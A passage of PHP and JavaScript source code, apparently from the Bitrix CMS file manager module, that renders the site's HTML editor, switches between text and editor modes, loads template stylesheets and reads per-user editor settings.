show = pOptEditor.checked, /*&& textarea.style.display != "none"*/
editor = window.BXHtmlEditor.Get(editorName),
textareaValue = textarea.value || '';
replaceNewLines = replaceNewLines && window.BXHtmlEditor.ReplaceNewLines;
if (replaceNewLines)
{
if (curType == 'html')
{
textareaValue = window.BXHtmlEditor.ReplaceNewLines(textareaValue);
textarea.value = textareaValue;
}
else if (curType == 'editor')
{
textareaValue = window.BXHtmlEditor.ReplaceNewLines(textareaValue);
}
else
{
textareaValue = window.BXHtmlEditor.ReplaceNewLinesBack(textareaValue);
textarea.value = textareaValue;
}
}
function runEditor(editor, textareaValue)
{
textarea.style.display = "none";
editor.Show();
if (editor.sandbox.inited)
{
editor.SetContent(textareaValue, true);
}
else
{
BX.addCustomEvent(editor, "OnCreateIframeAfter", function()
{
editor.SetContent(textareaValue, true);
});
}
}
if (editor && editor.Check())
{
if(show)
{
runEditor(editor, textareaValue);
}
else
{
if (editor.IsShown())
editor.SaveContent();
editor.Hide();
textarea.style.display = "";
if (replaceNewLines && curType == 'text')
{
textareaValue = textarea.value = window.BXHtmlEditor.ReplaceNewLinesBack(textarea.value);
}
}
}
else if(show)
{
BX.addCustomEvent(window.BXHtmlEditor, "OnEditorCreated", function(editor)
{
if (editor.id == editorName)
{
runEditor(editor, textareaValue);
}
});
window.BXHtmlEditor.Show(false, editorName);
textarea.style.display = "none";
}
<?endif;?>
}
});
</script>
<?else: /* if ($useEditor3) */ ?>
<script>
BX.ready(
function()
{
window.changeType_<?= $name?> = function(bSave)
{
var
pOptHtml = BX("<?= $bxid?>_html"),
pOptEditor = BX("<?= $bxid?>_editor");
var curType = pOptEditor.checked ? 'editor' : 'text';
if (pOptHtml && pOptHtml.checked)
{
curType = 'html';
}
<?if (isset($params['externalFuncName']) && $params['externalFuncName']):?>
var func = window['<?= $params['externalFuncName']?>'];
if (func && typeof func == 'function')
{
func(curType);
}
<?else:?>
// Editor
var el = BX("bxed_<?= $name?>");
if(pOptEditor.checked && el.style.display != "none")
{
var onEditorInit = function(pMainObj)
{
pMainObj.SetContent(pMainObj.PreparseHeaders(el.value));
pMainObj.Show(true);
pMainObj.LoadContent();
};
el.style.display = "none";
if(!el.pMainObj)
el.pMainObj = new BXHTMLEditor("<?= $name?>", onEditorInit);
else
onEditorInit(el.pMainObj);
}
else if(!pOptEditor.checked && el.style.display == "none")
{
el.pMainObj.Show(false);
el.pMainObj.SaveContent(true);
el.style.display = "";
}
<?endif;?>
// Save choice
<?if ($params['bSave']):?>
if (bSave !== false)
{
BX.ajax.get('/bitrix/admin/fileman_manage_settings.php?<?= bitrix_sessid_get()?>&target=text_type&edname=<?= $name?>&key=<?= $key?>&type=' + curType);
}
<?endif;?>
};
var pOptEditor = BX("<?= $bxid?>_editor");
if (pOptEditor)
{
BX.addCustomEvent(pOptEditor.form, 'onAutoSaveRestore', function (ob, data)
{
var pOptEditor = BX("<?= $bxid?>_editor");
setTimeout(function()
{
if (pOptEditor.checked)
{
var pMainObj = GLOBAL_pMainObj['<?= $name?>'];
if (pMainObj && pMainObj.bShowed)
{
pMainObj.SetContent(data[pMainObj.name]);
pMainObj.LoadContent();
}
}
}, 100);
});
}
}
);
</script>
<?endif;/* if ($useEditor3) */
return $textType;
}
public static function AddHTMLEditorFrame(
$strTextFieldName,
$strTextValue,
$strTextTypeFieldName,
$strTextTypeValue,
$arSize = Array("height"=>350),
$CONVERT_FOR_WORKFLOW="N",
$WORKFLOW_DOCUMENT_ID=0,
$NEW_DOCUMENT_PATH="",
$textarea_field="",
$site = false,
$bWithoutPHP = true,
$arTaskbars = false,
$arAdditionalParams = Array()
)
{
// We have to avoid of showing HTML-editor with probably unsecure content when loosing the session [mantis:#0007986]
if ($_SERVER["REQUEST_METHOD"] == "POST" && !check_bitrix_sessid())
return;
global $htmled, $usehtmled;
$strTextFieldName = preg_replace("/[^a-zA-Z0-9_:\.]/is", "", $strTextFieldName);
if(is_array($arSize))
$iHeight = $arSize["height"];
else
$iHeight = $arSize;
$strTextValue = htmlspecialcharsback($strTextValue);
$dontShowTA = isset($arAdditionalParams['dontshowta']) ? $arAdditionalParams['dontshowta'] : false;
if ($arAdditionalParams['hideTypeSelector'])
{
$textType = $strTextTypeValue == 'html' ? 'editor' : 'text';
?><input type="hidden" name="<?= $strTextTypeFieldName?>" value="<?= $strTextTypeValue?>"/><?
}
else
{
$textType = CFileMan::ShowTypeSelector(array(
'name' => $strTextFieldName,
'key' => $arAdditionalParams['saveEditorKey'],
'strTextTypeFieldName' => $strTextTypeFieldName,
'strTextTypeValue' => $strTextTypeValue,
'bSave' => $arAdditionalParams['saveEditorState'] !== false
));
}
$curHTMLEd = $textType == 'editor';
setEditorEventHandlers($strTextFieldName);
?>
<textarea class="typearea" style="<? echo(($curHTMLEd || $dontShowTA) ? 'display:none;' : '');?>width:100%;height:<?=$iHeight?>px;" name="<?=$strTextFieldName?>" id="bxed_<?=$strTextFieldName?>" wrap="virtual" <?=$textarea_field?>><?= htmlspecialcharsbx($strTextValue)?></textarea>
<?
if ($bWithoutPHP)
$arTaskbars = Array("BXPropertiesTaskbar", "BXSnippetsTaskbar");
else if (!$arTaskbars)
$arTaskbars = Array("BXPropertiesTaskbar", "BXSnippetsTaskbar", "BXComponents2Taskbar");
$minHeight = $arAdditionalParams['minHeight'] ? intval($arAdditionalParams['minHeight']) : 450;
$arParams = Array(
"bUseOnlyDefinedStyles"=>COption::GetOptionString("fileman", "show_untitled_styles", "N")!="Y",
"bFromTextarea" => true,
"bDisplay" => $curHTMLEd,
"bWithoutPHP" => $bWithoutPHP,
"arTaskbars" => $arTaskbars,
"height" => max($iHeight, $minHeight)
);
if (isset($arAdditionalParams['use_editor_3']))
$arParams['use_editor_3'] = $arAdditionalParams['use_editor_3'];
$arParams['site'] = (strlen($site)<=0?LANG:$site);
if(isset($arSize["width"]))
$arParams["width"] = $arSize["width"];
if (isset($arAdditionalParams))
$arParams["arAdditionalParams"] = $arAdditionalParams;
if (isset($arAdditionalParams['limit_php_access']))
$arParams['limit_php_access'] = $arAdditionalParams['limit_php_access'];
if (isset($arAdditionalParams['toolbarConfig']))
$arParams['toolbarConfig'] = $arAdditionalParams['toolbarConfig'];
if (isset($arAdditionalParams['componentFilter']))
$arParams['componentFilter'] = $arAdditionalParams['componentFilter'];
$arParams['setFocusAfterShow'] = isset($arParams['setFocusAfterShow']) ? $arParams['setFocusAfterShow'] : false;
CFileman::ShowHTMLEditControl($strTextFieldName, $strTextValue, $arParams);
}
public static function ShowHTMLEditControl($name, $content, $arParams = Array())
{
global $USER;
// We have to avoid of showing HTML-editor with probably unsecure content when loosing the session [mantis:#0007986]
if ($_SERVER["REQUEST_METHOD"] == "POST" && !check_bitrix_sessid())
{
return;
}
CUtil::InitJSCore(array('window', 'ajax'));
$relPath = (isset($arParams["path"])) ? $arParams["path"] : "/";
$site = (isset($arParams["site"])) ? $arParams["site"] : "";
$__path = Rel2Abs("/", $relPath);
$site = CFileMan::__CheckSite($site);
$name = preg_replace("/[^a-zA-Z0-9_:\.]/is", "", $name);
if (!isset($arParams["limit_php_access"]))
$arParams["limit_php_access"] = false;
$arParams["light_mode"] = (defined('BX_PUBLIC_MODE') && BX_PUBLIC_MODE == 1) || (isset($arParams["light_mode"]) && $arParams["light_mode"] == 'Y');
$io = CBXVirtualIo::GetInstance();
$direction_rtl = false;
if($site)
{
$DOC_ROOT = CSite::GetSiteDocRoot($site);
$abs_path = $DOC_ROOT.$__path;
if ($io->FileExists($abs_path))
{
$relPath = substr($relPath,0,strrpos($relPath,"/"));
if ($relPath=="")
$relPath = "/";
}
}
static $bFirstUsed;
$template = $arParams["templateID"];
if (!isset($template) && defined('SITE_TEMPLATE_ID'))
{
$template = SITE_TEMPLATE_ID;
}
if (!isset($template) && isset($_GET['siteTemplateId']))
{
$template = $_GET['siteTemplateId'];
}
if (!isset($template) && isset($site))
{
$dbSiteRes = CSite::GetTemplateList($site);
$SITE_TEMPLATE = Array();
while($arSiteRes = $dbSiteRes->Fetch())
{
if ($arSiteRes['CONDITION'] == "" || !isset($template))
$template = $arSiteRes['TEMPLATE'];
}
}
if (isset($arParams['use_editor_3']))
{
$useEditor3 = $arParams['use_editor_3'] == "Y";
}
else
{
$useEditor3 = COption::GetOptionString('fileman', "use_editor_3", "Y") == "Y";
}
if ($useEditor3)
{
$Editor = new CHTMLEditor;
$Editor->Show(array(
'name' => $name,
'id' => $name,
'siteId' => $arParams["site"],
'width' => $arParams["width"],
'height' => $arParams["height"],
'content' => $content,
'bAllowPhp' => !$arParams["bWithoutPHP"] && $USER->CanDoOperation('edit_php'),
"limitPhpAccess" => $arParams["limit_php_access"],
"display" => $arParams['bDisplay'],
"componentFilter" => (isset($arParams['componentFilter']) ? $arParams['componentFilter'] : false),
"setFocusAfterShow" => isset($arParams['setFocusAfterShow']) ? $arParams['setFocusAfterShow'] : true,
"relPath" => $relPath,
"templateId" => $template
));
return;
}
//Taskbars
$arTaskbars = (isset($arParams["arTaskbars"])) ? $arParams["arTaskbars"] : Array();
//Toolbars
$arToolbars = (isset($arParams["arToolbars"])) ? $arParams["arToolbars"] : false;
// Toolbar config
$arParams["toolbarConfig"] = (is_array($arParams["toolbarConfig"])) ? $arParams["toolbarConfig"] : false;
$arParams["use_advanced_php_parser"] = COption::GetOptionString("fileman", "use_advanced_php_parser", "Y");
$arParams["ar_entities"] = COption::GetOptionString("fileman", "ar_entities", 'umlya,greek,other');
if ($arParams["ar_entities"] == 'none')
$arParams["ar_entities"] = '';
if(!isset($arParams["usePspell"]))
$arParams["usePspell"] = COption::GetOptionString("fileman", "use_pspell", "N");
if(!isset($arParams["useCustomSpell"]))
$arParams["useCustomSpell"] = COption::GetOptionString("fileman", "use_custom_spell", "Y");
$arParams['allowRenderComp2'] = COption::GetOptionString('fileman', "allow_render_components", "N") == 'Y';
$arParams['renderComponents'] = $arParams['allowRenderComp2'] && CUserOptions::GetOption('fileman', "render_components", "Y") == 'Y';
$lca = COption::GetOptionString("fileman", "use_lca", "N");
$styleList_render_style = (COption::GetOptionString("fileman", "render_styles_in_classlist", "Y") == 'Y') ? 'true' : 'false';
$arAdditionalParams = (isset($arParams["arAdditionalParams"])) ? $arParams["arAdditionalParams"] : Array();
$arResult = CFileman::GetAllTemplateParams($template, $site, ($arParams["bWithoutPHP"] != true),$arAdditionalParams);
$arParams["TEMPLATE"] = $arResult;
if($bUseOnlyDefinedStyles && !is_set($arResult, "STYLES_TITLE"))
$bUseOnlyDefinedStyles = false;
$arParams["body_class"] = COption::GetOptionString("fileman", "editor_body_class", "");
$arParams["body_id"] = COption::GetOptionString("fileman", "editor_body_id", "");
?>
<script bxrunfirst="true">
var relPath = "<?= CUtil::JSEscape($relPath);?>";
var <? echo 'ar_'.$name.'_taskbars';?> = {};
<?
for ($k = 0, $l = count($arTaskbars); $k < $l; $k++)
echo 'ar_'.$name.'_taskbars["'.$arTaskbars[$k].'"] = true;';
if ($arToolbars !== false)
{
echo 'var ar_'.$name.'_toolbars = {};';
for ($k = 0, $l = count($arToolbars); $k < $l; $k++)
echo 'ar_'.$name.'_toolbars["'.$arToolbars[$k].'"] = true;';
}
else
echo 'var ar_'.$name.'_toolbars = false;';
?>
window.ar_<?= $name?>_config = <?= CUtil::PhpToJSObject($arParams)?>; // editor-config
</script>
<?
$str_taskbars = "";
CFileman::GetHTMLEditorSettings($name, $arParams["light_mode"], $arTaskbars, $str_taskbars);
$str_taskbars .= '_'.CFileman::GetVersion();
if(!$bFirstUsed)
{
$arTemplates = Array(Array('value' => '.default', 'name' => GetMessage("FILEMAN_DEFTEMPL")));
$db_site_templates = CSiteTemplate::GetList(array(), array(), array());
while($ar_site_templates = $db_site_templates->Fetch())
$arTemplates[] = Array('value'=>$ar_site_templates['ID'], 'name'=>$ar_site_templates['NAME']);
?>
<script bxrunfirst="true">
var
arBXTemplates = <?= CUtil::PhpToJSObject($arTemplates)?>,
BXSite = "<?= CUtil::JSEscape($site)?>",
BXLang = "<?= CUtil::JSEscape(LANGUAGE_ID)?>",
styleList_render_style = <?=$styleList_render_style?>,
limit_php_access = <?= $arParams["limit_php_access"] ? 'true' : 'false'?>,
lca = <?= $lca == 'Y' ? 'true' : 'false'?>,
lightMode = <?= $arParams["light_mode"] ? 'true' : 'false'?>,
BX_PERSONAL_ROOT = "<?=BX_PERSONAL_ROOT?>";
window.limit_php_access = top.limit_php_access = limit_php_access;
window.lightMode = top.lightMode = lightMode;
window.lca = top.lca = lca;
window.BXLang = top.BXLang = BXLang;
window.BXSite = top.BXSite = BXSite;
window.BX_PERSONAL_ROOT = top.BX_PERSONAL_ROOT = BX_PERSONAL_ROOT;
</script>
<?
$arJS = Array();
$arCSS = Array();
$events = GetModuleEvents("fileman", "OnBeforeHTMLEditorScriptsGet");
while($arEvent = $events->Fetch())
{
$tmp = ExecuteModuleEventEx($arEvent, array($name, $arParams));
if (!is_array($tmp))
continue;
if (is_array($tmp['JS']))
$arJS = array_merge($arJS, $tmp['JS']);
if (is_array($tmp['CSS']))
$arCSS = array_merge($arCSS, $tmp['CSS']);
}
$arr = Array();
// Additional JS files from event OnBeforeHtmlEditorScriptGet
for($i = 0, $c = count($arJS); $i < $c; $i++)
{
$arJS[$i] = preg_replace("/[^a-zA-Z0-9_:\.]/is", "", $arJS[$i]);
if(file_exists($_SERVER['DOCUMENT_ROOT'].'/bitrix/admin/htmleditor2/'.$arJS[$i]))
$arr[] = $arJS[$i];
}
?>
<script type="text/javascript" src="/bitrix/admin/fileman_js.php?lang=<?=LANGUAGE_ID?>&v=<?=@filemtime($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/fileman/lang/'.LANGUAGE_ID.'/admin/fileman_js.php')?>"></script>
<script type="text/javascript" src="/bitrix/admin/fileman_common_js.php?s=<?=$str_taskbars?>"></script>
<?
for($i = 0, $l = count($arr); $i < $l; $i++)
{
$script_filename = $arr[$i];
?><script type="text/javascript" src="/bitrix/admin/htmleditor2/<?=$script_filename?>?v=<?=@filemtime($_SERVER['DOCUMENT_ROOT'].'/bitrix/admin/htmleditor2/'.$script_filename)?>"></script><?
}
?>
<script type="text/javascript" src="/bitrix/js/main/popup_menu.js?v=<?=@filemtime($_SERVER['DOCUMENT_ROOT'].'/bitrix/js/main/popup_menu.js')?>"></script>
<?
for($i = 0, $l = count($arCSS); $i < $l; $i++) // Additional CSS files from event OnBeforeHtmlEditorScriptGet
{
$arCSS[$i] = preg_replace("/[^a-zA-Z0-9_:\.]/is", "", $arCSS[$i]);
if(!file_exists($_SERVER['DOCUMENT_ROOT'].'/bitrix/admin/htmleditor2/'.$arCSS[$i]))
continue;
?><link rel="stylesheet" type="text/css" href="/bitrix/admin/htmleditor2/<?=$arCSS[$i]?>?v=<?=@filemtime($_SERVER['DOCUMENT_ROOT'].'/bitrix/admin/htmleditor2/'.$arCSS[$i])?>"/><?
}
$db_events = GetModuleEvents("fileman", "OnIncludeHTMLEditorScript");
while($arEvent = $db_events->Fetch())
{
ExecuteModuleEventEx($arEvent);
}
$bFirstUsed = true;
}
?>
<div class="bxedmain-cont" id="<?= $name.'_object';?>"><table id="<?= $name?>_pFrame" class="bxedmainframe dim100x100" style="display:none;">
<tr style="height: 1%;"><td id="<?= $name?>_toolBarSet0" colspan="2" style="width: 100%; display: none; border-bottom: 1px solid #808080 !important;"></td></tr>
<tr>
<td id="<?= $name?>_toolBarSet1" style="width:0%; display: none; border-right: 1px solid #808080 !important;"></td>
<td vAlign="top" style="width: 4000px; padding: 0!important;">
<table class="dim100x100">
<tr>
<td class="bx-ceditor" id="<?= $name?>_cEditor"></td>
<td id="<?= $name?>_taskBarSet2" class="bxedtaskbarset" style="width:0%; display: none;">
<table>
<tr><td class="bx-move-col-v" rowSpan="3"><img src="/bitrix/images/1.gif" /></td><td style="height:26px;"></td></tr>
<tr><td style="vertical-align: top;"></td></tr>
<tr><td class="bx-taskbar-tabs"></td></tr>
</table>
</td>
</tr>
<tr style="height:0%; display: none;">
<td id="<?= $name?>_taskBarSet3" colspan="2">
<table>
<tr><td class="bx-move-col-h"><img src="/bitrix/images/1.gif" /></td></tr>
<tr><td style="height:26px;"></td></tr>
<tr><td style="vertical-align: top; background: #F4F4F4 none !important;"></td></tr>
<tr><td class="bx-taskbar-tabs"></td></tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
<tr id="bx-css-tt"><td id="<?= $name?>_taskBarTabs" colspan="2" class="tasktabcell"></td></tr>
</table>
</div>
<script>
BX.loadCSS('/bitrix/admin/htmleditor2/editor.css');
var bEd = BX("bxed_<?= $name?>_editor");
if (bEd && !bEd.checked)
BX("<?= $name?>_object").style.display = "none";
</script>
<?
if(!$arParams["bFromTextarea"])
echo '<input type="hidden" name="'.$name.'" id="bxed_'.$name.'" value="'.htmlspecialcharsbx($content).'">';
if($arParams["bDisplay"] !== false)
{
setEditorEventHandlers($name);
?>
<script>
BX.ready(function(){
BX.showWait();
BX("bxed_<?= $name;?>").pMainObj = new BXHTMLEditor("<?= $name;?>");
});
</script>
<?
}
}
public static function GetFileTemplates($lang = LANG, $arTemplates=Array())
{
return GetFileTemplates($lang, $arTemplates);
}
public static function GetTemplateContent($filename, $lang=LANG, $arTemplates=Array())
{
return GetTemplateContent($filename, $lang, $arTemplates);
}
public static function GetScriptFileExt()
{
return GetScriptFileExt();
}
public static function ParseFileContent($filesrc, $bCheckProlog = false)
{
$res = ParseFileContent($filesrc);
if ($bCheckProlog)
{
$prolog = trim(strtolower($res['PROLOG']));
if (strlen($prolog) > 0 &&
strpos($prolog, "prolog_before") === false &&
strpos($prolog, 'bitrix/header.php') === false &&
strpos($prolog, '$application->settitle') === false &&
strpos($prolog, '$application->setpageproperty') === false)
{
$res['CONTENT'] = $res['PROLOG']."\n".$res['CONTENT'];
$res['PROLOG'] = '';
}
$epilog = trim(strtolower($res['EPILOG']));
if (strlen($epilog) > 0 &&
strpos($epilog, 'bitrix/footer.php') === false &&
strpos($epilog, 'epilog.php') === false)
{
$res['CONTENT'] = $res['CONTENT']."\n".$res['EPILOG'];
$res['EPILOG'] = '';
}
}
return $res;
}
public static function SetTitle($prolog, $title)
{
return SetPrologTitle($prolog, $title);
}
public static function SetProperty($prolog, $property_key, $property_val)
{
return SetPrologProperty($prolog, $property_key, $property_val);
}
public static function IsPHP($src)
{
return IsPHP($src);
}
public static function GetAllTemplateParams($templateID, $site, $findcomponent = true, $arAdditionalParams = Array())
{
global $APPLICATION;
$db_templ = CSiteTemplate::GetByID($templateID);
if(!($ar_templ = $db_templ->Fetch()))
{
$templateID = "";
$db_site_templ = CSite::GetTemplateList($site);
while($ar_site_templ = $db_site_templ->Fetch())
{
if(strlen($ar_site_templ["CONDITION"])<=0)
{
$templateID = $ar_site_templ["TEMPLATE"];
break;
}
}
if(strlen($templateID)>0)
{
$db_templ = CSiteTemplate::GetByID($templateID);
$ar_templ = $db_templ->Fetch();
}
}
if($ar_templ)
{
$arResult = Array(
"ID" => $ar_templ["ID"],
"NAME" => $ar_templ["NAME"]
);
if(is_set($ar_templ, "STYLES"))
{
// Fetch @import and include it to CSS - will include css from comments also :(.
$pattern = '/^@import(.*)$/im';
$matches = array();
if (preg_match_all($pattern, $ar_templ["STYLES"], $matches))
{
for ($j = 0, $l = count($matches[0]); $j < $l; $j++)
{
$str = $matches[0][$j];
$url = trim(trim($matches[1][$j]), '"\';');
$css = "";
if (substr($url, -5) != 'print')
{
$url = trim(trim($url), ' "\';');
if (substr($url, 0, 4) == 'url(' && substr($url, -1) == ')')
$url = trim(substr($url, 4, -1), ' "\'');
$url = trim(trim($url), '\'";');
if (substr($url, 0, 1) != '/' && file_exists($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/templates/".$ar_templ["ID"]."/".$url))
$css = "\n".$APPLICATION->GetFileContent($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/templates/".$ar_templ["ID"]."/".$url)."\n";
else if(file_exists($_SERVER["DOCUMENT_ROOT"].$url))
$css = "\n".$APPLICATION->GetFileContent($_SERVER["DOCUMENT_ROOT"].$url)."\n";
}
$ar_templ["STYLES"] = str_replace($matches[0][$j], $css, $ar_templ["STYLES"]);
}
}
$arResult["STYLES"] = $ar_templ["STYLES"];
$arResult["STYLES_TITLE"] = $ar_templ["STYLES_TITLE"];
$arResult["EDITOR_STYLES"] = $ar_templ["EDITOR_STYLES"];
}
}
else
{
$arResult = Array("ID" => ".default", "NAME" => GetMessage("FILEMAN_DDEF_TEMPLATE"));
$templateID = "";
}
$io = CBXVirtualIo::GetInstance();
if(!is_set($arResult, "STYLES") || $arResult["STYLES"] == false)
{
if($io->FileExists($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/php_interface/".(strlen($site)<=0?LANGUAGE_ID:$site)."/styles.css"))
{
$arResult["STYLES"] = $APPLICATION->GetFileContent($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/php_interface/".(strlen($site) <= 0?LANGUAGE_ID : $site)."/styles.css");
$arResult["STYLES_TITLE"] = CSiteTemplate::__GetByStylesTitle($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/php_interface/".(strlen($site)<=0?LANGUAGE_ID : $site)."/.styles.php");
}
elseif($io->FileExists($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/php_interface/styles.css"))
{
$arResult["STYLES"] = $APPLICATION->GetFileContent($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/php_interface/styles.css");
$arResult["STYLES_TITLE"] = CSiteTemplate::__GetByStylesTitle($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/php_interface/.styles.php");
}
elseif($io->FileExists($_SERVER["DOCUMENT_ROOT"]."local/templates/.default/styles.css"))
{
$arResult["STYLES"] = $APPLICATION->GetFileContent($_SERVER["DOCUMENT_ROOT"]."local/templates/.default/styles.css");
$arResult["STYLES_TITLE"] = CSiteTemplate::__GetByStylesTitle($_SERVER["DOCUMENT_ROOT"]."local/templates/.default/.styles.php");
}
else
{
$arResult["STYLES"] = $APPLICATION->GetFileContent($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/templates/.default/styles.css");
$arResult["STYLES_TITLE"] = CSiteTemplate::__GetByStylesTitle($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/templates/.default/.styles.php");
}
}
if (isset($arAdditionalParams['additionalCSS']))
{
$additionalCSS = $arAdditionalParams['additionalCSS'];
for ($i = 0, $l = count($additionalCSS); $i < $l; $i++)
{
$css_file_path = $additionalCSS[$i];
$arResult["STYLES"] .= "\r\n".$APPLICATION->GetFileContent($css_file_path);
}
}
if(strlen($templateID) > 0 && $io->FileExists($_SERVER["DOCUMENT_ROOT"]."local/templates/".$templateID."/editor.css"))
{
$arResult["STYLES"] .= "\r\n".$APPLICATION->GetFileContent($_SERVER["DOCUMENT_ROOT"]."local/templates/".$templateID."/editor.css");
}
elseif(strlen($templateID)>0 && $io->FileExists($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/templates/".$templateID."/editor.css"))
{
$arResult["STYLES"] .= "\r\n".$APPLICATION->GetFileContent($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/templates/".$templateID."/editor.css");
}
elseif($io->FileExists($_SERVER["DOCUMENT_ROOT"]."local/templates/.default/editor.css"))
{
$arResult["STYLES"] .= "\r\n".$APPLICATION->GetFileContent($_SERVER["DOCUMENT_ROOT"]."local/templates/.default/editor.css");
}
elseif($io->FileExists($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/templates/.default/editor.css"))
{
$arResult["STYLES"] .= "\r\n".$APPLICATION->GetFileContent($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/templates/.default/editor.css");
}
elseif($io->FileExists($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/php_interface/".$site."/editor.css"))
{
$arResult["STYLES"] .= "\r\n".$APPLICATION->GetFileContent($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/php_interface/".(strlen($site) <= 0 ? LANGUAGE_ID : $site)."/editor.css");
}
elseif($io->FileExists($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/php_interface/editor.css"))
{
$arResult["STYLES"] .= "\r\n".$APPLICATION->GetFileContent($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/php_interface/editor.css");
}
$arResult["STYLES"] = preg_replace("/\r\n/", " ", $arResult["STYLES"]);
$arResult["STYLES"] = preg_replace("/\n/", " ", $arResult["STYLES"]);
$arResult["SITE_TEMPLATE_PATH"] = getLocalPath('templates/'.$templateID, BX_PERSONAL_ROOT);
return $arResult;
}
public static function __CheckOnAllowedComponents($str)
{
$allowed_components = trim(COption::GetOptionString('fileman', "~allowed_components", ''));
if ($allowed_components == '')
return true;
$arAC = explode("\n",$allowed_components);
$arAC = array_unique($arAC);
$arAllowedComponents = Array();
foreach ($arAC as $f)
{
if (trim($f) == '')
continue;
$f = preg_replace("/\s/is", "", $f);
$f = preg_replace("/\./is", "\\.", $f);
$f = preg_replace("/\*/is", ".*", $f);
$arAllowedComponents[] = '/^'.$f.'$/';
}
if (count($arAllowedComponents) == 0)
return true;
$comp_RE = '/\$application->includecomponent\(\s*?(.*?),/i';
preg_match_all($comp_RE, $str, $matches);
for ($i = 0, $l = count($matches[1]); $i < $l; $i++)
{
$name = trim($matches[1][$i]);
$er_name = $name;
$name = substr($name, 1, -1);
$bx = 'bitrix:';
$bxlen = strlen($bx);
if (substr($name, 0, $bxlen) != $bx)
return $er_name;
$name = substr($name, $bxlen);
for ($j = 0, $c = count($arAllowedComponents); $j < $c; $j++)
if (preg_match($arAllowedComponents[$j], $name))
continue 2;
return $er_name;
}
return true;
}
public static function CheckOnAllowedComponents($str)
{
if (($r = CFileMan::__CheckOnAllowedComponents($str)) !== true)
{
$GLOBALS['APPLICATION']->ThrowException(GetMessage("FILEMAN_UNALLOWED_COMPONENTS", Array("#BAD_COMPONENT#" => $r)), "UNALLOWED_COMPONENTS");
return false;
}
return true;
}
public static function GetHTMLEditorSettings($edname, $lightMode, $arTaskbars, &$loadParams)
{
?>
<script>
//Array of settings
if (!window.SETTINGS)
SETTINGS = {};
SETTINGS['<?= $edname?>'] = {};
<?
$loadParams = '';
if (!$lightMode)
{
//Get toolbar settings
$toolbar_settings = stripslashes(CUserOptions::GetOption("fileman", "toolbar_settings_".$edname));
$rs_tlbrs = stripslashes(CUserOptions::GetOption("fileman", "rs_toolbar_".$edname, 'Y'));
if ($toolbar_settings)
{
?>SETTINGS['<?= $edname?>'].arToolbarSettings = [];<?
$res = explode("||", $toolbar_settings);
for ($i = 0, $len = count($res); $i < $len; $i++)
{
$tmp = explode(":", $res[$i]);
$tlbrname = $tmp[0];
$tmp2 = explode(",", $tmp[1]);
$show = $tmp2[0];
$docked = $tmp2[1];
$arPos = explode(";", substr($tmp2[2], 1, -1));
?>
var _ar = [];
_ar.show = <?echo($show == 'true' ? 'true' : 'false');?>;
_ar.docked = <?echo($docked=='true' ? 'true' : 'false');?>;
<?if ($docked=='true'):?>
_ar.position = [<?echo$arPos[0];?>,<?echo$arPos[1];?>,<?echo$arPos[2];?>];
<?else:?>
_ar.position = {
x : '<?echo(substr($arPos[0],-2)=="px" ? substr($arPos[0],0,-2) : $arPos[0]);?>',
y : '<?echo(substr($arPos[1],-2)=="px" ? substr($arPos[1],0,-2) : $arPos[1]);?>'
};
<?endif;?>
SETTINGS['<?= $edname?>'].arToolbarSettings["<?=$tlbrname?>"] = _ar;
<?
}
}
$loadParams = 'em'; // extended mode
}
//Get taskbar settings
$taskbars = CUserOptions::GetOption("fileman", "taskbar_settings_".$edname, false);
if ($taskbars !== false && CheckSerializedData($taskbars, 10))
$taskbars = unserialize($taskbars);
else
$taskbars = false;
if (is_array($taskbars))
{
?>SETTINGS['<?= $edname?>'].arTaskbarSettings = {};<?
foreach($taskbars as $tname => $tskbr)
{
// Display settings
?>SETTINGS['<?= $edname?>'].arTaskbarSettings["<?=$tname;?>"] = {show: <?= $tskbr['show'] ? 'true' : 'false'?>, set: <?= $tskbr['set'] == 2 ? 2 : 3?>, active: <?= $tskbr['active'] ? 'true' : 'false'?>};<?
if ($tskbr['show'] && in_array($tname, $arTaskbars))
{
switch ($tname)
{
case 'BXSnippetsTaskbar':
$loadParams .= 's';
break;
case 'BXComponents2Taskbar':
$loadParams .= 'c2';
break;
}
}
}
}
else
{
if (in_array('BXSnippetsTaskbar', $arTaskbars))
$loadParams .= 's';
if (in_array('BXComponents2Taskbar', $arTaskbars))
$loadParams .= 'c2';
}
//Get taskbarset settings
$taskbarset = CUserOptions::GetOption("fileman", "taskbarset_settings_".$edname, false);
if ($taskbarset !== false && CheckSerializedData($taskbarset, 10))
$taskbarset = unserialize($taskbarset);
else
$taskbarset = false;
if (is_array($taskbarset))
{
?>SETTINGS['<?= $edname?>'].arTBSetsSettings = [];<?
foreach($taskbarset as $iNum => $tskbrset)
{
if ($iNum != 2)
$iNum = 3;
?>SETTINGS['<?= $edname?>'].arTBSetsSettings["<?= intVal($iNum)?>"] = {show: <?= $tskbrset['show'] ? 'true' : 'false'?>, size: <?= intVal($tskbrset['size'])?>};
<?
}
}
$show_tooltips = CUserOptions::GetOption("fileman", "show_tooltips".$edname, "Y");
$visualEffects = CUserOptions::GetOption("fileman", "visual_effects".$edname, "Y");
$arC2DS = CUtil::GetPopupSize("bx_edc2_".$edname, array("width" => 650, "height" => 450));
?>
SETTINGS['<?= $edname?>'].showTooltips4Components = <?echo $show_tooltips == "N" ? "false" : "true";?>;
